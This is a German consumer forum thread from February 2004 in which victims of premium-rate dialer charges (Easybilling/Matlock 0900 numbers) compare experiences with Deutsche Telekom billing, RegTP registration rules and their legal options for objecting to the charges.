6. Schliesslich geeinigt das ich die Sperre einrichten lasse, und die im Gegenzug von der Zahlung des stritigen Betrags absehen und den selber begleichen oder an die Wand nageln oder was auch immer die damit machen wollen 

Ich denke die gute Frau hat erkannt, das bei 13 Sekunden wohl kaum von einer gewollten Einwahl auszugehen ist.

Gruss Opfer


----------



## cicojaka (16 Februar 2004)

*Panama ist überall*

Kleiner Zeitvertreib für Matlock-Geschädigte


Adresse in Belize --> Morgan & Morgan Trust, Belize, mori***.*** --> J.d.L., Panama

ist natürlich nur eine Spielerei...

man landet dort:
http://www.coronadoresort.com/engl/

oder hier:

M&M
PO Box ***  
Panama 1  
Ph. 507-265-**** / Fax 507-265-****
email: ***
Homepage: http://www.mori***.*** 


Leider, leider, der Rückweg funktioniert nicht, scheint eine Einbahnstrasse nach Panama zu sein...

Wenn man die Einwahlseiten zerfieselt, landet man in Matlock, UK (Matlock ist eine Stadt in Derbyshire, England)


Dieses Geschäftsmodell ist nicht patentiert.



Falls jemandem langweilig ist beim Warten auf Eggebek


----------



## Raimund (16 Februar 2004)

*Abkassieren oder Sperre?*

:evil: 
Ti-Komm scheint ein neues Geschäftsfeld entdeckt zu haben:

Der Kunde beauftragt eine feste Anschlusssperre für € 7,99. Im Gegenzug verzichten die auf das Dialer-Inkasso.

In einem mir bekannten, vergleichbaren Fall wurde das Antivirus-Programm von Ti-Onlein  :lol:  :lol: angedient.

Es mag jeder selbst entscheiden, aber sauber ist dieses Vorgehen nicht. Bekommt der Hotliner Prämie, wenn er dem Kunden was aufschwatzt?

Gruß
Raimund


----------



## cicojaka (16 Februar 2004)

*Re: Abkassieren oder Sperre?*



			
				Raimund schrieb:
			
		

> :evil:
> Ti-Komm scheint ein neues Geschäftsfeld entdeckt zu haben:
> 
> Der Kunde beauftragt eine feste Anschlusssperre für € 7,99. Im Gegenzug verzichten die auf das Dialer-Inkasso.
> ...




freenet wirbt ja auf seiner Homepage auch abwechselnd für den holländisch-tschechischen IQ-Test und für freenet-DSL ("Damit man vor dialern sicher ist").

Geld stinkt nicht.


----------



## alf_79 (18 Februar 2004)

*@ alle Geschädigten von MATLOCK*

Hallo!
Bin auch Mitglied geworden!!! :cry: 
Habe eine Telekomrechnung erhalten mit der 090090000263 für 25,8190 Euro + Ust.!
Nach Telefonat mit Telekom und RegTP und Einspruch bei RegTP erhielt ich heute einen Anruf der Telekom, wo mir mitgeteilt wurde, dass ich rechtlich nix machen könnte und wenn ich nicht zahle, dann wird das ganze bis zur Vollstreckung durchgezogen!
Was jetzt?
Soll ich es drauf ankommen lassen?

Bei der Easybilling (übersetzung: "wie kommt man einfach an Geld"  ) erhält man nur die Adresse von der FA. MATLOCK!

Hab mir auch schon überlegt, dass ganze nicht einem Fernsehsender zukommen zu lassen, weil für die sind ja solche Sachen evtl. ein gefundenes Fressen.

Auf alle Fälle werde ich trotzdem jetzt nochmal schriftlich an die Telekom schreiben und auch an die Easybilling und dem Betrag widersrpechen!

Ach ja und die RegTP hat gesagt, dass bereits ein Verfahren läuft aber das Ende noch nicht vorhersehbar ist!

Vielleicht weis ja von euch schon jemand was

Grüsse


----------



## alf_79 (18 Februar 2004)

*oops Fehler geschrieben*

also ich meinte:
einem Fernsehsender zukommen zu lassen

und nicht:
nicht einem Fernseh....

 :lol:


----------



## Anonymous (18 Februar 2004)

*Bin auch Opfer*

Hallo Opfer,bin heute selber eins geworden,
Habe meine Rechnung von der telekom bekommen und es hat mich aus den Schuhen gerissen:fast 68 Euro soll ich löhnen für drei Verbindungen des PRS(Offline) von T-Com,keiner kann mir sagen was das ist weder die Telekom noch ein anderer ,die sagen nur das ist so und nun zahle.
ich selber weiß auch nicht wie das zu stande kommt,habe keine 0190 Nummer gewählt noch etwas aus dem Internet heruntergeladen.
Mal sehen was nun wird,ich werde mich erst mal mit der Telekom rumstreiten mal sehen was dabei rauskommt.
                                    Machts mal gut
                                      Dirk


----------



## Anonymous (18 Februar 2004)

anna schrieb:
			
		

> Opfer schrieb:
> 
> 
> 
> ...



  :-? Hallo liebe Leidgenossen. Auch ich habe heute meine Telefonrechnung abgerufen und festgestellt, dass zwei Verbindungen des PRS (Offline) von T-Com zum Preis von sage und schreibe 51,64 zzgl. Mehrwertsteuer enthalten sind. Auf Nachfrage hat man mir am Telefon gesagt, dass ich gegen diesen Posten Einwendung erheben soll. Manchmal würde man Glück damit haben und manchmal nicht. Kann doch wohl nicht angehn, oder? Was bedeutet übehaupt PRS?
Rita


----------



## Anonymous (18 Februar 2004)

Anonymous schrieb:
			
		

> Was bedeutet übehaupt PRS? Rita


Premium Rate Service - schlichtweg, die Anwendung von 0190/0900er Nummern. Setze den Einwand vorab telefonisch, damit die strittige Forderung ausgebucht wird. Dann solltest Du aber auch noch herausfinden, wie die Einwahl-Nummer war.

Seit dem 01.02.2004 kann die DTAG nachträglich alle Einwahlen in unverkürzter Form mitteilen, auch wenn der Kunde keinen unverkürzten Einzelverbindungsnachweis beauftragt hat.

Anhand dieser Nummer müsste man dann lokalisieren, ob es sich um eine Sprachanwahl (Telefonie) oder um einen Dialer gehandelt hat. Melde Dich wieder, wenn Du näheres weißt.


----------



## Qoppa (18 Februar 2004)

anna schrieb:
			
		

> Dann solltest Du aber auch noch herausfinden, wie die Einwahl-Nummer war.



Ich denke, das ist doch eher die Aufgabe desjenigen, der Geld haben will... Und der es dann vor Gericht belegen muß. Nur wenn die Nummer SEHR, SEHR eindeutig nicht registriert war, besteht die Chance, daß die Telekom vorzeitig einlenkt. Aber auch das zu prüfen sollte eigentlich ihre Aufgabe sein, wenn sie für jemanden Forderungen einzieht.

Es ist doch wirklich ELEND, wie die Telekom alles auf die Kunden abwälzen will!



			
				anna schrieb:
			
		

> Seit dem 01.02.2004 kann die DTAG nachträglich alle Einwahlen in unverkürzter Form mitteilen, auch wenn der Kunde keinen unverkürzten Einzelverbindungsnachweis beauftragt hat.



- so zumindest die offizielle Sprachregelung der Telekom. Tatsächlich aber konnte sie es immer schon, - wie viele Beispiele hier im Forum zeigen. Und sie durfte es auch immer schon, auch vor der Gesetzesnovelle. So sehen es u.a. viele Gerichte.

Ich habe hier einmal versucht, die Lage etwas vereinfacht darzustellen.

@ Rita und andere:
.. das geht tatsächlich nicht an! Aber es hilft nichts, man muß kämpfen! Ich glaube mittlerweile kein einziges Wort mehr von dem, was Telekommitarbeiter so sagen. Und meine Briefe sind §§§-gespickt   

Eine Orientierung geben die bewährten "Ersten Schritte" des Juristen:
http://forum.webmart.de/wmmsg.cfm?id=1461578&d=90&a=1&t=1776278


----------



## Anonymous (19 Februar 2004)

Qoppa schrieb:
			
		

> Ich denke, das ist doch eher die Aufgabe desjenigen, der Geld haben will...


Nicht ganz - die DTAG eröffnet dem Endkunden die Möglichkeit des Einwandes, hier kommt nun die Mitverantwortung des Telefonanschlussinhabers zum Tragen. Immerhin kam die Verbindung ja auch durch seinen Telefonanschluss zu stande.


----------



## Anonymous (19 Februar 2004)

*Bin auch Opfer*

Hallo Leute,
Habe ja gestern meine Problematik schon geschrieben .
Ich habe das mit dem PRS ein wenig an die große Glocke gehangen und habe meine Rechnung und einen kleinen Brief an verschiedene Medien geschickt, mal sehen ob die sich damit befassen und der Sache mal etwas auf den Leim gehen.    Tschau Tschau


----------



## otto (19 Februar 2004)

Hi @ all,
mein Streitwert: 210 Eu  :evil: (siehe S.3 dieses Threads)

Habe seit meiner Beschwerde an die Reg TP vom 28.01. noch nichts von denen gehört.
Dafür von der Telekom. Mahnung am 10.2. über den strittigen Betrag mit Androhung der Kündigung des Anschlusses *ohne vorherige Sperre !*
Obwohl ich am 27.1. wie in http://www.dialerschutz.de/home/Downloads/downloads.html beschrieben, den strittigen Betrag exakt mit EVN und Einschreiben/Rückschein widersprochen und den unstrittigen Betrag überwiesen habe.
Ein Anruf bei den netten Mitarbeitern der Telekom sollte mich beruhigen, da diese Mahnungen angeblich automatisch versandt werden (die Mitarbeiter von der Telekom sin ja am Telefon ganz nett, doch leider auch ein bissl vergesslich ( was kümmert mich mein Geschwätz von gestern ?)).
Auch sollte ich noch diese Woche auf meinen Widerspruch schriftlich Bescheid erhalten. Dies geschah heute wie folgt:
"Sehr geehrte Damen und Herren, vielen Dank für Ihr Schreiben, mit dem Sie uns Gelegenheit zur Klärung Ihres Anliegens geben.
Bei den hier strittigen Verbindungen zu Premium Rate-Diensten (PRS) mit einer Zugangskennzahl 0190/0900 handelt es sich um Rufnummern, die nicht von der Deutschen Telekom, sondern von nachfolgendem Netzbetreiber vergeben wurden : " es folgte die Adr. von Easybilling. weiter: "Aufgrund der vorliegenden Informationen können wir derzeit nicht nachvollziehen, dass es sich hier um eine Abrechnung zu einer 0190/0900-Rufnummer eines nicht registrierten Dialers  handelt. Bitte haben Sie Verständnis dafür, dass wir deshalb einer Zurücknahme unserer berechtigten Entgeltforderung nicht zustimmen können. Wir bitten Sie, Ihr Buchungskonto bis spätestens 26.02........" bla bla


@alle, die sich damit auskennen
Wie kann ich den Mitarbeitern der Telekom bei Ihrer Entscheidungsfindung helfen ??
Zur Erinnerung: Es waren 7 automatische Einwahlen innerhalb von 4 Minuten !!

Das Ultimatum der Telekom tickt !!!
(ps: viele grüße an anna )


----------



## Anonymous (19 Februar 2004)

Otto, kennst Du die definitive Einwahlnummer, von der Du betroffen wurdest und hattest Du sie der T-Com mitgeteilt? Poste sie nochmal.

Melde mich morgen früh wieder!


----------



## otto (19 Februar 2004)

hi anna,

Nummer lautet : 090090000263

klar hab ich das der telekom schriftlich mitgeteilt, habe einen kompletten EVN, und damit sie's darauf schneller finden mit Marker kenntlich gemacht.

viele Grüße otto


----------



## galdikas (19 Februar 2004)

anna schrieb:
			
		

> Qoppa schrieb:
> 
> 
> 
> ...



Der Anschlussinhaber hat mit seinem Anschlussnetzbetreiber aber nur einen Vertrag ueber die Erbringung (reiner) Telekommunikationsverbindungsleistungen geschlossen. Und deshalb darf ein Netzeinwahlvorgang vom Blickwinkel des Verbindungsleistungserbringers aus zunaechst nur insoweit als "bewusste" Auftragserteilung angesehen werden, als mit einer Anwahl der Auftrag zur reinen Verbindungsleistung erteilt wird. Der Anschlussinhaber muss deshalb nur dafuer Sorge tragen, dass er  seinem Vertragspartner (bzw. einem anderen Verbindungsleistungserbringer) gegenueber keine Aeusserungen macht, die der berechtigterweise(!) als Auftrag zur Herstellung und Aufrechterhaltung einer Telekommunikationsverbindung auffassen duerfte.

Der Anbieter einer Sonder-Dienstleistung ueber eine TK-Verbindung zwischen seinem und dem Anschluss des Kundens muss dagegen alle Umstaende darlegen, die sein Vertrauen gerechtfertigt erscheinen lassen, allein die Tatsache einer Anwahl seiner Nummer vom Kundenanschluss aus fuer einen bewussten Auftrag zur Erbringung seiner Sonder-Dienstleistung zu gesondert vereinbarten Bedingungen halten zu duerfen. Das duerfte unterschiedslos fuer alle Dienste-Anbieter gelten, die ihre Dienste ueber TK-Verbindungen zwischen ihrem und dem Kundenanschluss erbringen - unabhaengig davon, welche Nummer gewaehlt werden muss, um eine Verbindung zum Anschluss des Diensteanbieters herzustellen (0800-xxxxx, 0900-xxxxx, Festnetz-Rufnummer usw.)



> Immerhin kam die Verbindung ja auch durch seinen Telefonanschluss zu stande.



Der Anschlussinhaber braucht bei Einwahlen vom seinem Anschluss aus ohne Auftragswillen mE nach nur die (reine) Verbindungsleistung zu vergueten, weil ohne weiteres lediglich ein Netzbetreiber-Vertrauen dahingehend gerechtfertigt erscheint, keine vermeidbar ungewollten Verbindungsleistungs-Auftraege des Anschlussinhabers auszufuehren. Fuer darueber hinausgehende Dienste kann ein e-commerce-Anbieter wohl hoechstens dann allein aus dem Einwahl- und Anwahlvorgang berechtigterweise auf eine Beauftragung mit der (ueber die reine TK-Verbindungsherstellung hinausgehende) Diensterbringung schliessen, wenn er 

- den Kunden darueber informiert hat, wie der Vertrag ueber die Mehrwertleistung zustandekommt, und

- Moeglichkeiten zur Korrektur von Irrtuemern geschaffen und rechtzeitig vor Bestellabgabe klar und deutlich auf diese hingewiesen hat:

"Bedient sich ein Unternehmer zum Zwecke des Abschlusses eines Vertrags über .... die Erbringung von Dienstleistungen eines Tele- oder Mediendienstes (Vertrag im elektronischen Geschäftsverkehr), hat er dem Kunden  angemessene, wirksame und zugängliche technische Mittel zur Verfügung zu stellen, mit deren Hilfe der Kunde Eingabefehler vor Abgabe seiner Bestellung erkennen und berichtigen kann  (....)", Par. 312e BGB.

Bei den Sprach-Verbindungsleistungen traegt also der Anschlussinhaber die Beweislast, trotz Einwahlvorgangs keinen (reinen) Verbindungsauftrag erteilt zu haben.

Bei den darueberhinausgehenden Sonderdiensten muss deren Anbieter nachweisen, vom Einwahlvorgang berechtigterweise(!) auf einen ueber die blosse Verbindungsherstellung hinausreichenden Auftrag schliessen zu duerfen. 

gal.


----------



## Qoppa (20 Februar 2004)

anna schrieb:
			
		

> Immerhin kam die Verbindung ja auch durch seinen Telefonanschluss zu stande.



*... und zuweilen nicht einmal das! *Doch daß es hier ein Problem geben könnte, leugnet die Telekom mit Hartnäckigkeit.

(So war es bei mir, und ich kenne allein im Freundeskreis mehrere Fälle, wo es auch so war. Das erklärt vielleicht meine rigide Haltung. Das einzige Mal übrigens, wo die Telekom "kulant" war, das war, als meine Freundin zeigen konnte, daß unter der angeblichen Verbindung immer nur ertönte: "Kein Anschluß unter dieser Nummer". Soviel dazu.)


----------



## Anonymous (20 Februar 2004)

@Gal und Qoppa, Ihr sprecht mir aus der Seele! Die Telkos (DTAG, BT und alle anderen auch) sind ggü. dem Endkunden als Bollwerke anzusehen, die sich teilweise aus ignoranten, selbstgefälligen und gesetzesuntreuen oder -unwissenden Mitarbeitern rekrutieren.


----------



## Anonymous (20 Februar 2004)

otto schrieb:
			
		

> Wie kann ich den Mitarbeitern der Telekom bei Ihrer Entscheidungsfindung helfen?


Die DTAG stellt sich auf den Standpunkt, dass jede Nummer, die in der Dialerdatenbank eingetragen ist, auch rechtmäßig zum Vertrag- und Verbindungsschluss geführt hat. Das ist jedoch grundlegend falsch!


			
				RegTP schrieb:
			
		

> Die Registrierung von Dialern bei der RegTP stellt kein Gütesiegel dar. Mit der Registrierung erhalten Sie als Verbraucher jedoch Informationen über die registrierten Dialer und wer sich dahinter verbirgt.


Hier schließ ich an mein vorheriges Posting an  - die DTAG macht es sich einfach, ist eine Nummer, ein Dialer, irgendein Wert registriert, geht sie ohne Prüfung der genauen Umstände von der Zahlungspflicht aus und belegt ihre Kunden mit dem Inkasso, bis hin zur Sperrung des Anschlusses.

_Welche Regeln hier das TKG und andere Gesetze zum Kundenschutz vorsehen, sollte nochmal einer der hier anwesenden Juristen erklären - bitte, bitte!_

Beleuchtet man allein den Text zur Registrierung des Dialers:


			
				Easy Billing aka Matlock schrieb:
			
		

> Kunde kommt auf Webseite und muss die AGBs sowie die Preisauszeichnung bestaetigen, danach wird je nach Kundenrechner entweder per Script oder Applet eine web.exe herunter geladen, diese unterbricht die bestehende Verbindung und baut zu der kostenpflichtigen Rufnummer eine Verbindung auf. Wenn diese beendet wird, oder der Browser geschlossen wird, wird diese wieder getrennt und die web.exe wird vom Kundenrechner geloescht. Der Kunde kann dann ganz normal mit seiner normalen Internetverbindung weiter surfen.


so entspricht dieser nicht den Mindestvoraussetzungen, die gem. § 43b Abs. 5 TKG zu erfüllen sind. Diesem Dialer (und seinen Spielkameraden) wird die Registrierung demnächst rückwirkend entzogen werden - wie lange das noch dauert, könnte nur die RegTP beauskunften - von Anfragen ist abzusehen.  Des weiteren werden derzeit Maßnahmen gem. § 43c Abs. 1 TKG der RegTP gegen die Fa. Easy Billing getroffen (Owi-Verfahren), da die Eggebecker gegen den § 43a Abs. 1 TKG verstoßen haben (Auskunftsanspruch).

Außerdem - Otto, ich nehme mal an, dass Du garnicht freiwillig einer Eroticsite angesurft hattest sondern lediglich über Webung oder bereits vorhandene Dateien auf Deinem Rechner mit den Matlocks konfrontiert worden bist - die Anwendung der s. g. Tunneltechnologien oder die Scriptsteuerung von Dialern ist gem. RegTP nicht registrierungsfähig. Genau darauf solltest Du eine Gegenargumentation aufbauen. Diese Dialer machen mit den Rechnern, was sie wollen und haben eigentlich überhaupt nichts mit den Vorgaben der RegTP und der einschlägigen Gesetze zu tun!

Noch ein bisschen was anderes teile ich Dir heute noch per PN mit.


----------



## blumenwiese23 (20 Februar 2004)

*ja, ja , die von der telekom...*

guten morgen, gestern habe ich mit erschrecken feststellen müssen, dass die telekom jetzt doch noch nach dem unstrittigen betrag dann auch noch den betrag der dialer von meinem konto abgebucht hat. das fasse ich nicht. ich hab zwei briefe (einschreiben mit rückschein) an die telekom geschrieben mit der genauen verteilung der jeweiligen postendeckung. dann haben sie erst den unstrittigen betrag abgebucht und gestern dann doch noch meine dialer-posten. Sehr link von der telekom. habe mit vier versch. hotlinemitarbeiter telefoniert. drei haben mir bestätigt, dass a) mein einwand gegen diverse posten akzeptiert worden sind und b) meine briefe bearbeitet werden. und dann so was. hab natürlich gleich die buchung stornieren lassen. und einen netten brief hingeschrieben. mal schauen. hab auch reingeschrieben, sie sollen meine dialer bezüglich den registrierdaten nochmal prüfen. nämlich drei meiner dialer sind sicher vor dem 14.12 registriert worden. das haben die von der telekom wohl versehentlich übersehen 
@anna, lass es raus  . was weisst du von der regTP bezüglich unseren freunden aus eggebeck???

danke


----------



## Anonymous (20 Februar 2004)

*Re: ja, ja , die von der telekom...*



			
				blumenwiese23 schrieb:
			
		

> @anna, lass es raus


Steht schon im Posting zuvor.


----------



## Volker (20 Februar 2004)

*090090000263*

Hallo,

ich bin sehr froh, dass ich dieses forum gefunden hab...
mich hat auch ein dialer geschnappt 090090000263. 
2 Einwahlen am 31.01 mit besagter Summe. Nicht der ganz große Schaden aber ich bin student und hab die Kohle alles andere als locker. Nun was tun? Ich habe meine registry datei mal exportiert... ansonsten bin ich zwar ein halbwegs fähiger User aber das wars auch.. ich weiß das da mal was war mit unterbrochener Verbindung... normalerweise habe ich auch den zonealarm aktiv aber das kan sein das ich das prog deaktiviert hatte, um speicher frei zu haben und vergessen es vor dem netzkontakt wieder hochzufahren. Außerddem habe ich kürzlich ad-aware drüber laufen lassen hoffe der hat kein beweismaterial vernichtet... was ist jetzt zu tun?
Schriftlicher Widerspruch bei der Telekom?
anscheinend sind ja eine ganze reihe leute von dieser nummer geschädigt, kann man da nichts unternehmen? Und wie sind eure Erfahrungen mit dem Anbieter? Wird da versucht ein Inkassoverfahren durchzuziehen?


----------



## Anonymous (20 Februar 2004)

*meine Erfahrungen*

Hallo zusammen, hier kurz meine Erfahrungen:
Beim Surfen hab ich mir auf der irgendwie den web.exe eingefangen, sicher ober nichts mit ok bestätigt. Auf der Telefonrechnung hab ichs dann gesehen. Eine Einwahl für 25,82. Der erste Anruf bei der telekom brachte gars nichts, beim zweiten Anruf habe ich dann die gekürzt Nummer erfahren (nützt aber nichts). Beim dritten Anruf habe ich dann erfahren, daß die Nummer nicht mehr herstellbar ist, die letzten drei Ziffern fehlen. Nach längerer Diskussion bot mir die Dame dann an, den Betrag aus eigener Kasse auf der der nächsten oder übernächsten Rechnung gut zu schreiben. Mal sehen ob es stimmt.
Komisch ist nur, daß die Leute von der Telekom jedes mal was anderes erzählen.


----------



## Anonymous (20 Februar 2004)

*Re: 090090000263*



			
				Volker schrieb:
			
		

> ... was ist jetzt zu tun?


Dieser Thread besteht lediglich aus zehn Seiten. Mit etwas Muse hast Du die in einem viertel Stündchen durch und dabei haben sich bestimmt auch einige Antworten auf Deine Fragen gefunden. Was letztlich genau zu tun ist liegt in Deiner Entscheidungsgewalt.
Gatan wird gegen die Untriebe bereits einiges - es ist nur eine Frage der Zeit, bis der Spaß ein Ende hat. Ich persönlich verstehe nicht, warum das so lange dauern muss - immerhin hatte ich eine fruchtbare Beschwerde bereits im September bei der RegTP eingereicht. Das ist so, als wenn man einen Panzer anschieben wollte.


----------



## cicojaka (20 Februar 2004)

Ich habe die RegTP immer geschont und als "freundlich" angesehen. Aber wenn mein RegTP-Ansprechpartner VON MIR, von einem PC-Dummie, folgendes verlangt:


```
Damit wir gegen rechtswidrig eingesetzte Dialer gesetzeskonform vorgehen können, muss der entsprechende Verbindungsaufbau von uns vollständig nachvollzogen werden oder anhand von vorliegenden Beweismitteln lückenlos nachgebildet werden können.Hierzu benötigen wir u. a. neben der kompletten Mehrwertdiensterufnummer auch den ungekürzten Einzelverbindungsnachweis und insbesondere die Ursprungs-Web-Seite, von der aus der Dialer geladen wurde, die Programm.exe und möglichst auch die dazugehörigen Bildsschirmausdrucke (Screenshots).
Pauschalierte Hinweise und allgemein gehaltene Beschwerdebeschreibungen reichen leider nicht aus um die gesetzlichen Befugnisse vollständig auszuschöpfen.
```

und die Registrierung ist babyeinfach und umsonst, dann kommt mir das Kotzen...

Ich hoffe, dass Du da mehr erreichst, lass einfach Deinen Charme spielen, vieleicht hilft's was


----------



## Anonymous (20 Februar 2004)

cj schrieb:
			
		

> ....und die Registrierung umsonst...


Da werde ich ja gleich wieder wach und schreie in die Nacht:

.... aber nicht mehr lange! :lol:  :lol:  :lol:


----------



## cicojaka (20 Februar 2004)

anna schrieb:
			
		

> cj schrieb:
> 
> 
> 
> ...



UND WAS WÄRE EIN FAIRER PREIS FÜR DIE REGISTRIERUNG EINES SOLCHEN DIALERS??? 

5 JAHRE OHNE BEWÄHRUNG !!!


 :fg2:  :fg2:  :fg2:  :fg2:  :fg2:


sorry, seit ich hier poste, werde ich jeden Tag aggressiver...


----------



## Anonymous (21 Februar 2004)

Jetzt mal im Ernst - derzeit wird mal wieder eine Novelle des TKG erarbeitet. Damit soll auch die Kostenpflicht der Dialer-Registrierung bei der RegTP eingeführt werden. Zur Zeit werden die rechtlichen Aspekte und die Möglichkeiten der Umsetzung geprüft.


----------



## Anonymous (21 Februar 2004)

*090090000583*

Hat zufällig jemand die 090090000583 auf seiner Telekom-Rechnung? Der Betrag wird da auch von der T-Com als PRS abgerechnet. Ich habe die Nummer schon bei der RegTP gesucht, aber da ist kein Eintrag vorhanden. Das heißt: offenbar nicht mehr! Weil ich schon Anfang Februar mal nachgesehen habe und da gab es einige Adressen unter dieser Nummer. Nun steht aber bei der RegTP-Datenbank, daß auch die still gelegten Nummern noch 90 Tage in der DB bleiben. Mich würde interessieren, ob dieser Mehrwertdienst seinen Betrieb einstellen mußte, weil er rechtswidrig ist. Das würde einen möglichen Einspruch von vornherein erleichtern. 
Wär nett, wenn jemand damit Erfahrung hat und darüber berichtet.

Gruß

spittlebug


----------



## Anonymous (23 Februar 2004)

*Relax_b*



			
				Gast (Micha) schrieb:
			
		

> Hallo,
> 
> ich bin froh um Eure Beiträge! Mich hat es auch erwischt. Situation: Habe PC längere Zeit (Stunden) unbeaufsichtigt downloaden lassen. Habe eigentlich (fast) nichts Verdächtiges besucht und vor allem nix bemerkt! D ie letzten Wochen. Und jetzt das:
> 
> ...



Ja das kenne ich..
Bei mir will das Ding 090090000905 anrufen und diese Nummer gehört einer Firmal AKU (Details bei www.regtp.de)
Auch ich habe keine Idee bei welchem Download das Teil auf meinen Rechner gekommen ist. Obendrein schlage ich mit der autritäts.exe herum....
Alle Virenscanner finden aber keinen (!) mydoom virus (weder A, noch B) ...
Auch wäre für Ideen seitens der Community dankbar....
Wenn jemand gegen die Firma AKU ins Feld ziehen will - Ich bin dabei !


----------



## Anonymous (23 Februar 2004)

*Re: 090090000583*



			
				spittlebug schrieb:
			
		

> Hat zufällig jemand die 090090000583 auf seiner Telekom-Rechnung? Der Betrag wird da auch von der T-Com als PRS abgerechnet. Ich habe die Nummer schon bei der RegTP gesucht, aber da ist kein Eintrag vorhanden. Das heißt: offenbar nicht mehr! Weil ich schon Anfang Februar mal nachgesehen habe und da gab es einige Adressen unter dieser Nummer. Nun steht aber bei der RegTP-Datenbank, daß auch die still gelegten Nummern noch 90 Tage in der DB bleiben. Mich würde interessieren, ob dieser Mehrwertdienst seinen Betrieb einstellen mußte, weil er rechtswidrig ist. Das würde einen möglichen Einspruch von vornherein erleichtern.
> Wär nett, wenn jemand damit Erfahrung hat und darüber berichtet.
> 
> Gruß
> ...


Versuche es mal diesem Formular: http://www.regtp.de/imperia/md/content/mwdgesetz/auskunftsersuchen_0190.pdf an die RegTP. Sollte Dir damit auch kein Ergebis zukommen, dann könnte man auch annehemen, dass es sich um einen Fehler in der Rechung handelt.


----------



## blumenwiese23 (23 Februar 2004)

*yaw 3.5*

guten abend zuammen, habe mit gerade das programm YAW 3.5 installiert. ich bin online gegangen und dann hat es mir unten, in der taskleiste eine ampel mit rot-grün im wechsel angezeigt. durch meine "dialer-paranoia"  :lol:  frage ich mal lieber nach, ob das durch das programm yaw passiert. sonst ist solch eine ampel noch nie bei einer verbindung (nur modem) aufgetaucht. muss ich noch bestimmte einstellungen machen bei yaw, dass es richtig funktioniert??

danke


----------



## Anonymous (23 Februar 2004)

Keine so gute Lösung, siehe PN!
http://forum.computerbetrug.de/viewtopic.php?t=4055


----------



## Anonymous (24 Februar 2004)

Habe die richtige Eingabemaske gefunden und mehr Einträge gefunden als mir lieb sind. Formular wird trotzdem abgeschickt. Vielleicht kümmert sich jemand nochmal um eine Nachbesserung des TK-Gesetzes, wenn man der RegTP massiv auf den Geist geht.


----------



## Anonymous (24 Februar 2004)

*090090000263*

Hallo,

hab auch heut die rechnung bekommen => 25,8190 € für ne 10 sekunden verbindung (19:54:06)...   

war aber von 18:52:43 für 01:02:35 mit dem smartsurfer online, dh. bis 19:55:18. 8) 

werde gleich mal ne beschwerde an die regulierungsbehörde schreiben.

MfG Haentzn


----------



## Anonymous (24 Februar 2004)

Also mich hat es auch erwischt. Eine Einwahl für 25€ (T-Com 090090000...). Weiß auch nicht auf welcher Seite das passiert ist. Jedenfalls kenn ich mich auch ein bisschen aus und weiß, das man nicht auf irgendwelche PopUp-Fenster eigehen soll. Immer schön wegklicken... 

Beim Durchstöbern der vorheriger Postings habt ihr von der web.exe- Datei erzählt die sich selbst löscht. Darauf hin hab ich doch gleich mal meinen Computer durchsucht und bin auf diese Datei gestoßen... web.exe (22.528 Bytes) Weiß ja nicht, ob es diese Datei ist die ihr sucht oder ob ihr sie schon habt, aber wenn sie irgendjemand benötigt, dann meldet euch.


----------



## Bonnifaz (24 Februar 2004)

Web.exe auf Diskette sichern und Schreibschutz rein oder auf CD brennen. Die verschwindet wirklich nach der Ausführung spurlos. 
Ich würde auf jeden Fall den Hashwert über die RegTP feststellen und überprüfen, anschließend das Datum der Einwahl und das der Registrierung des Dialers vergleichen.  

B.


----------



## Anonymous (24 Februar 2004)

Die *Web.exe* ist nur eine Hilfsdatei - sie beweist ohne die dazugehörigen Scriptsteuerungen überhaupt nichts.

Vergleiche es mal damit: stell Dir vor ein Auto wurde bei Rot geblitzt - ohne deutliches, gerichtsverwertbares Abbild des Fahrers gibt es kein VOwi-Verfahren.


----------



## Bonnifaz (24 Februar 2004)

soviel ich weiß, ist die web.exe mit Hashwert registriert. Wie heißen denn die Skriptdateien und wo liegen die?

B.


----------



## Anonymous (24 Februar 2004)

Bonnifaz schrieb:
			
		

> soviel ich weiß, ist die web.exe mit Hashwert registriert. Wie heißen denn die Skriptdateien und wo liegen die?


Diese Scripte sind üblicher Weise lediglich online zur Verfügung oder werden spätestens nach dem Beenden der Computersession aus den temporären Verzeichnissen gelöscht - die Auswertung der Rechner ist sinnlos! Ein Zusammenhang zwischen verfügbaren Dateien, Fragmenten der gelöschten Scripte und wahnwitzigen Registrationseinträgen kann nicht mehr gerichtsverwertbar hergestellt werden.
Natürlich hat man irgendeinen Hashwert von irgendeiner Datei registrieren lassen - doch damit alleine lässt sich der Zusammenhang des schädigenden Verbindungsaufbaues nicht reproduzieren. Die Initaiatoren versuchen mit derartiger Vorgehensweise den Mantel der Seriösität über ihre Machenschaften zu legen. Doch der hat Löcher, Löcher aus denen die kriminelle Energie nur so heraus scheint!


----------



## Lifeat5 (25 Februar 2004)

*090090000423 am 9.2.2004*

ich hatte das Vergnügen heute auf meiner Tel.Rechn zweimal den Posten 090090000423   EUR 25,8190  zu finden.

Ein so genannter nicht registrierter Dailer... da fage ich mich wieso heißt der "nicht registrieter". Dann ist die ganze Sache doch klar, oder?
Dann können doch die Telekomiker keine Kohle für *---* eintreiben? Eigentlich machen die sich doch strafbar.

Ja, meine Augen sind blau!  :roll: 

*-----*

0900 - 90000423   
Diensteanbieter: 
Easybilling AG
Hauptstraße 4 
24852 Eggebek   
 Datum der Zuteilung der Rufnummer: 
Fri Dec 5 10:00:33 UTC+0100 2003

*[Virenscanner: Gemäß NUB editiert]*


----------



## Lifeat5 (25 Februar 2004)

*EasyBilling verklagen.*

Gibts hier vielleicht einen Anwalt der sich mit sowas auskennt?

Eine Sammelklage wäre doch eine Möglichkeit?

Man sollte erstmal eine Liste erstellen wer alles Geschädigt wurde...

Hm, möglicherweise...


----------



## Fidul (25 Februar 2004)

*Re: EasyBilling verklagen.*



			
				Lifeat5 schrieb:
			
		

> Eine Sammelklage wäre doch eine Möglichkeit?


Er hat Jehova gesagt!


----------



## Anonymous (25 Februar 2004)

*Re: 090090000423 am 9.2.2004*



			
				Lifeat5 schrieb:
			
		

> ich hatte das Vergnügen heute auf meiner Tel.Rechn zweimal den Posten 090090000423   EUR 25,8190  zu finden.
> 
> Ein so genannter nicht registrierter Dailer... da fage ich mich wieso heißt der "nicht registrieter". Dann ist die ganze Sache doch klar, oder?...


Die Dialerdatenbank der RegTP weist derzeit drei registrierte Dialer unter dieser Nummer aus - wo steht das mit den _nicht_registriertem?
